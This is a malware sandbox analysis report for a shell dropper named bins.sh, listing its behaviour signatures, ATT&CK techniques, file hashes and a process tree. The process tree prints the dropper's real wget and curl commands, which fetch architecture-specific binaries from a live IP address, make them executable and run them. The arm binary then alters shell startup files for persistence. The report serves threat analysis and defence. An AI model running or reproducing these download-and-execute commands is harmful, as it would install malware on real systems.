6298d0285eddfd86c68e1887758745e5ce19b327d09709352489951c3d57defb

Analysis

max time kernel
149s
max time network
150s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
23/05/2026, 15:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 1KB
Sample260523-tejjasft81
SHA256 6298d0285eddfd86c68e1887758745e5ce19b327d09709352489951c3d57defb
MD5 23018f6639002579bd7ff8ecb937a040
SHA1 5569ca856a1fc5c6023fd8337664866eeb9909af
SHA512 7be2385618dad8debe20a818acc23ac2d125f0098db3c8bbd64a485c79e19876289de434afd1ff41121dac1015ea5bfb8a8117d79f6342c5e318f9f95a478c1f
TLSH
T18041468B62E090B3CC69DD41F35494C4D49B86C371EBAEBCF8BC55A2489941CF1BAB60
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 7 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
669	chmod
674	chmod
684	chmod
707	chmod
735	chmod
740	chmod
749	chmod

Executes dropped EXE 7 IoCs

ioc	pid	Process
/tmp/x86	670	bins.sh
/tmp/x86	675	bins.sh
/tmp/i386	685	bins.sh
/tmp/i386	708	bins.sh
/tmp/amd64	736	bins.sh
/tmp/amd64	741	bins.sh
/tmp/arm	750	bins.sh

Creates/modifies environment variables 1 TTPs 3 IoCs

Creating/modifying environment variables is a common persistence mechanism.

persistence privilege_escalation defense_evasion

Path Interception by PATH Environment Variable

T1574.007

description	ioc	Process
File opened for modification	/root/.bashrc	arm
File opened for modification	/home/user/.bashrc	arm
File opened for modification	/etc/profile	arm

Write file to user bin folder 2 IoCs

persistence

description	ioc	Process
File opened for modification	/usr/bin/test_write	arm
File opened for modification	/usr/bin/sysd	arm

Modifies Bash startup script 2 TTPs 3 IoCs

persistence

Boot or Logon Autostart Execution

T1547

Unix Shell Configuration Modification

T1546.004

description	ioc	Process
File opened for modification	/etc/profile	arm
File opened for modification	/root/.bashrc	arm
File opened for modification	/home/user/.bashrc	arm

Checks CPU configuration 1 TTPs 3 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	arm

Reads runtime system information 8 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/stat	arm
File opened for reading	/proc/meminfo	arm
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 7 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/arm	wget
File opened for modification	/tmp/x86	wget
File opened for modification	/tmp/x86	curl
File opened for modification	/tmp/i386	wget
File opened for modification	/tmp/i386	curl
File opened for modification	/tmp/amd64	wget
File opened for modification	/tmp/amd64	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:642
- /usr/bin/wget
  wget http://176.65.139.202/x86 -O x86
  2⤵
  - Writes file to tmp directory
  PID:644
- /bin/chmod
  chmod +x x86
  2⤵
  - File and Directory Permissions Modification
  PID:669
- /tmp/x86
  ./x86
  2⤵
  PID:670
- /bin/rm
  rm -f x86
  2⤵
  PID:672
- /usr/bin/curl
  curl -O http://176.65.139.202/x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:673
- /bin/chmod
  chmod +x x86
  2⤵
  - File and Directory Permissions Modification
  PID:674
- /tmp/x86
  ./x86
  2⤵
  PID:675
- /bin/rm
  rm -f x86
  2⤵
  PID:678
- /usr/bin/wget
  wget http://176.65.139.202/i386 -O i386
  2⤵
  - Writes file to tmp directory
  PID:679
- /bin/chmod
  chmod +x i386
  2⤵
  - File and Directory Permissions Modification
  PID:684
- /tmp/i386
  ./i386
  2⤵
  PID:685
- /bin/rm
  rm -f i386
  2⤵
  PID:687
- /usr/bin/curl
  curl -O http://176.65.139.202/i386
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:689
- /bin/chmod
  chmod +x i386
  2⤵
  - File and Directory Permissions Modification
  PID:707
- /tmp/i386
  ./i386
  2⤵
  PID:708
- /bin/rm
  rm -f i386
  2⤵
  PID:710
- /usr/bin/wget
  wget http://176.65.139.202/amd64 -O amd64
  2⤵
  - Writes file to tmp directory
  PID:712
- /bin/chmod
  chmod +x amd64
  2⤵
  - File and Directory Permissions Modification
  PID:735
- /tmp/amd64
  ./amd64
  2⤵
  PID:736
- /bin/rm
  rm -f amd64
  2⤵
  PID:738
- /usr/bin/curl
  curl -O http://176.65.139.202/amd64
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:739
- /bin/chmod
  chmod +x amd64
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /tmp/amd64
  ./amd64
  2⤵
  PID:741
- /bin/rm
  rm -f amd64
  2⤵
  PID:743
- /usr/bin/wget
  wget http://176.65.139.202/arm -O arm
  2⤵
  - Writes file to tmp directory
  PID:744
- /bin/chmod
  chmod +x arm
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/arm
  ./arm
  2⤵
  - Creates/modifies environment variables
  - Write file to user bin folder
  - Modifies Bash startup script
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:750

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

T1574.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

T1574.007

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

T1574.007

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

amd64

Path /tmp/amd64
Size 4.8MB
SHA256 d7ce71db654dfea794d5d8f4f08620cc4e7245d86985290f9baceebe2dce983b
MD5 c556446ac71058f29c09b3d124c2af82
SHA1 2c7da421acf98f67d97f07c1f3264d4113f23e31
SHA512 9e30597467063e5dbe9a36f5883a536a97547139aa493ee5cacd76891e519026cf3db02f98c0c84d588793953bdffd31f0bf603197e2bbf04da0e4cd90579afc
SSDEEP 49152:ibx1XdgoyTVQuhnfYmMhP9u4M6gvCShiZQUDoa5EPzzU/eq51T9xQH+f:AEauhfY9n6vCSotowEPUTD3
TLSH
T13C363917EC9145E9C0EED631CA669252BA717C485B3027D32F60F7392F72BD0AAB9704
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm

Path /tmp/arm
Size 4.7MB
SHA256 4747ed18f804c6f83b2ebfd846b8c41a353bcede2671ce076e4ae8a5db47871e
MD5 53187a8fdcb02ff61cc9165c395ae0e6
SHA1 45a4b5f8784165e039d526fc05bc222eb6819a05
SHA512 4306770eac20f031a2e9d497d05064769d3d457e60e6651fe8778583e99c78827576a876a10aaeba21606b1251627bf468be24fdc993741807244a21b9f1ccd6
SSDEEP 24576:pjVWSxWAHVW1jajGiq4h9qY+qv9vYwdlBREOxF2QYi/piR3n6TAAs8tUzKAuUlND:v559Id2QET/bY+Ay8vWPMJyB28wAY
TLSH
T144360997B8D14A43C4E4367AB8BD81C833A34EB99B9713566D05FE3C3ABE1990E35314
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

x86

Path /tmp/x86
Size 4.7MB
SHA256 f493d88214672fede3c70dc31bd2b3b9da93b13934715c4a84474e10cd6d6d9d
MD5 2f989adc009e8432819d92594abac88d
SHA1 5d08357ce2f7323fad876d5121a932fe99bfa928
SHA512 18617e1ec404a3d280997979062d1fdb60b5450db070722cd1a6b4bd1090bb8c481c91f4e7c70ffe6b422ba9ca1812b8aa9a6d2e20d08f4b846119220594e954
SSDEEP 49152:rF2ItAqee7182S4P1EiiFV8YommyEW6WcqBIxaWWNTfAhvi:x2ItzeqYXL3AJi
TLSH
T1F7361950FECB05F6E9031D3144ABA26F53315E098B24EBD7EA14BF29F977692193620C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads